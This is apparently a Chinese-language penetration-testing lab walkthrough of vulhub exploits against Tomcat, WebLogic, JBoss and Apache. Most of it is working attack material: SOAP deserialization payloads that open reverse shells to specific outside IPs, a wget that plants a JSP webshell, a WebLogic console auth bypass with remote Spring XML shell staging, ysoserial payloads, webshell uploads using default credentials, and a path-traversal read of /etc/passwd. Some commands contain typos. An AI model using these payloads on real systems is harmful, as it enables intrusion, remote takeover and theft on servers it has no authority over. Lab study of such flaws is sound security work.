常见的中间件漏洞(tomcat,weblogic,jboss,apache)
Tomcat
CVE-2017-12615
开启靶场命令
docker-compose up -d
打开靶场以后,打开抓包刷新一ip
tomcat8
同样先开启环境,将哥斯拉生成的jsp木马文件,压缩成zip文件,再将后缀改成war
下面找到上传点,上传文件即可
因为我们上传的是zk.war文件,所以url写zk/zk.jsp
CVE-2020-1938
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口, 另 外⼀个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
下面命令需要python2环境,和一个cve-2020-1938.py文件
python cve-2020-1938.py -p 8009 -f /WEB-INF/web.xml ip地址
WebLogic
cd vulhub-master/weblogic/weak_password
默认页面
url后面加console,登录页面
账号密码 :weblogic/Oracle@123
然后点部署,安装,上载文件
然后一直下一步,完成上传文件
这样就可以访问到了
然后用连接工具练一下
CVE-2017-3506
还是刚才那个靶场
进入页面抓包
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i >& /dev/tcp/124.221.58.83/6666 0>&1</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>
放行即可
CVE-2019-2725
同理
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://114.132.92.17/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
CVE-2018-2628
工具
CVE-2018-2894
docker-compose logs | grep password
设置web服务测试开启: 域结构 -> base-domain -> 高级 -> 启动Web服务测试页
/ws_utc/config.do
把上面地址改成下面的地址,然后点提交。
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
/ws_utc/css/config/keystore/1726815031601_zk2.jsp
然后用weshell工具连接
CVE-2020-14882
默认登录页面
绕过登录认证
/console/css/%252e%252e%252fconsole.portal
多试几次就可以绕过
第一种方式
url后面直接加下面
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success');")
然后进入容器
docker exec -it 1e044bd903ea /bin/bash
ls /tmp
第二种方式
写一个1.xml内容如下,把它放到一个能访问的服务器下
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/101.201.29.59:7001/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
开启监听
nc -lvvp 6666
用python开一个临时的http服务,用来访问1.xml
python3 -m http.server 88
然后url后面访问
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://101.201.29.59:88/1.xml")
然后监听就可以反弹到shell了
jboss
CVE-2015-7501
/invoker/JMXInvokerServlet
这存在反序列化漏洞
反弹shell
bash -i >& /dev/tcp/101.201.29.59/6666 0>&1
base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==
开监听
nc -lccp 6666
用工具生成exp.ser
java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAxLjI5LjU5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser
curl http://8.152.207.233:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
CVE-2017-7504
访问漏洞地址
/jbossmq-httpil/HTTPServerILServlet
使用python运行jexboss.py工具直接执行下面语句即可拿到shell
python jexboss.py -u http://101.201.29.59:8080
CVE-2017-12149
搭建好靶场以后,验证是否存在漏洞访问
/invoker/readonly
返回500,说明页面存在,此页面存在反序列化漏洞
可以直接使用工具检测漏洞
Administration Console弱口令
先搭建好靶场
查看密码
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
登录你url
/admin-console/login.seam
上传后门war
上传上去连接即可
低版本JMX Console未授权
搭建好靶场
找到这里
这里上传war木马文件
然后连接即可
高版本JMX Console未授权
进入靶场以后
找到这里
远程部署war包
然后输入nvoke
连接webshell
Apache
CVE-2021-41773
环境搭建
docker pull blueteamsteve/cve-2021-41773:no-cgid
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
使用
curl http://121.40.229.129:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd